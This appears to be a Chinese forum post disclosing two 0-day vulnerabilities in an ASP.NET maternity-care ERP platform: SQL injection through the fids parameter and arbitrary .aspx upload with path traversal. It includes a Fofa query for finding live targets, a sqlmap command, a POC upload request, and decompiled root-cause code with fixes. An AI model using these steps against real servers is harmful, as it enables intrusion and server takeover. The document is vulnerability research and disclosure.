找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3031

积分

0

好友

396

主题
发表于 10 小时前 | 查看: 3| 回复: 0

在针对特定行业管理软件进行安全评估时,代码审计是发现深层次漏洞的有效方法。本次我们将对一个名为“月子护理ERP管理平台”的 ASP.NET 应用进行审计,并发现了两个高危的 0day 漏洞:一处 SQL 注入和一处文件上传。本文将从漏洞发现、利用到代码层面的根因分析,完整呈现审计过程。

一、SQL注入漏洞(0day)

1.1 资产发现与漏洞复现

首先,我们使用网络空间搜索引擎进行资产发现。通过特定的特征字符串,可以定位到使用该系统的站点。

Fofa 搜索语法:

body="月子护理ERP管理平台" || body="妈妈宝盒客户端.rar" || body="Page/Login/Login3.aspx"

Fofa搜索月子护理ERP平台的结果截图

在找到目标后,通过分析其前端代码或目录结构,我们定位到一个可疑接口 /Page/upload/DelFilesHandler.ashx,其 fids 参数可能存在风险。使用自动化工具进行测试:

Sqlmap 测试命令:

python sqlmap.py -u “http://IP:PORT/Page/upload/DelFilesHandler.ashx?fids=1” -p fids --batch

测试结果显示,该参数存在多种类型的SQL注入,数据库为 Microsoft SQL Server。

Sqlmap对fids参数进行注入测试的结果日志

1.2 漏洞代码分析

漏洞位于 /Page/upload/DelFilesHandler.ashx 文件。

DelFilesHandler.ashx文件内容

该处理器编译在 WebApp4.0.dll 程序集中。

反编译工具中显示的WebApp4.0.dll程序集结构

通过反编译工具(如 dnSpy)查看其 C# 源码,找到 WebApp4._0.Page.upload.DelFilesHandler 类的 ProcessRequest 方法。

DelFilesHandler类中ProcessRequest方法的反编译代码

问题核心代码:

string sql = $"select fileUrl,fileName from t_FileUploadDetail where 1=1 and Id in({fids})";
DataTable dt = BRBase<t_FileUploadDetail>.SearchOnDataset(sql).Tables[0];

让我们深入分析一下漏洞成因:

  1. 参数直接获取fids 参数直接从 context.Request.QueryString["fids"] 获取,未经过任何验证或过滤。
  2. 拼接SQL语句:该参数被直接拼接进 SQL 查询语句的 IN 子句中。
  3. 缺乏防护:没有使用参数化查询等安全措施,导致了经典的 SQL 注入漏洞。攻击者可以通过构造特殊的 fids 参数值,执行任意的数据库操作。

对于从事 代码审计 和安全研究的朋友来说,这类在数据处理层缺少校验的逻辑非常值得警惕。

二、文件上传漏洞(0day)

2.1 漏洞复现与利用

在同一个 upload 目录下,我们还发现了另一个接口 SaveFileHandler.ashx。通过构造特定的 POST 请求,可以实现任意文件上传。

POC 请求数据包:

POST /Page/upload/SaveFileHandler.ashx HTTP/1.1
Host: IP:PORT
Content-Type: application/json
Content-Length: 116

{
  “url”: “OA/“,
  “htmlname”: “YYDS.aspx“,
  “htmlstr”: “<%= new Random().Next(100000,999999) %>“
}

发送请求后,服务器返回上传成功的信息。

向SaveFileHandler.ashx发送文件上传请求的截图

根据返回的路径提示,我们访问上传的文件:http://IP:PORT/OA/YYDS.aspx。页面成功解析了 ASPX 代码并输出了随机数,证明文件上传且可被服务器执行。

访问上传的ASPX文件,显示随机数483543

2.2 漏洞代码分析

漏洞位于 /Page/upload/SaveFileHandler.ashx 文件。

SaveFileHandler.ashx文件内容

其处理逻辑同样在 WebApp4.0.dllWebApp4._0.Page.upload.SaveFileHandler 类中。

反编译工具中显示的SaveFileHandler类位置

关键的反编译代码如下:

SaveFileHandler类中ProcessRequest方法的部分反编译代码

我们来梳理其不安全的处理流程:

  1. 获取用户输入:通过 getparm 方法从请求 JSON 体中获取 url(上传路径)、htmlname(文件名)、htmlstr(文件内容)三个完全可控的参数。
  2. 不安全路径拼接:使用 HttpContext.Current.Server.MapPath(“.././” + uploadUrl) 将相对路径映射为物理路径。这里拼接了用户可控的 uploadUrl,且通过 ../ 实现了目录穿越。
  3. 直接写入文件:程序将 htmlstr 的内容直接写入到拼接得到的 uploadFileName 中。

最核心的问题代码段:

HtmlDocument doc = new HtmlDocument();
doc.LoadHtml(html);
doc.Save(uploadFileName, Encoding.GetEncoding(“utf-8”));

这段 C# 代码未对文件内容、文件后缀或路径进行任何安全校验,直接将用户可控的 html 内容保存到用户可控的 uploadFileName 路径下,导致了严重的任意文件上传漏洞。攻击者可以上传 .aspx 等脚本文件,从而获取服务器控制权。

总结与思考

本次审计揭示了目标 ASP.NET 应用在两个方面存在严重的安全缺陷:

  1. SQL注入:源于对用户输入(fids)的盲目信任和字符串拼接,这是 C# 后端开发中需要时刻警惕的经典问题。
  2. 文件上传:源于功能设计上的缺陷,允许用户控制文件内容、文件名和存储路径,且没有实施任何白名单或内容安全检查。

对于开发者而言,务必使用参数化查询来抵御 SQL 注入,并对文件上传功能实施严格的路径、后缀和内容安全策略。对于安全研究人员,通过静态代码审计可以发现此类逻辑漏洞,是提升 Web 应用安全性的重要手段。你可以在 云栈社区 的安全板块找到更多关于漏洞挖掘与防御的深度讨论。




上一篇:使用Python Remi库快速构建可浏览器访问的Web GUI应用
下一篇:从代码入手,解析C++20协程的自定义Awaitable实现
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-10 19:30 , Processed in 0.303774 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表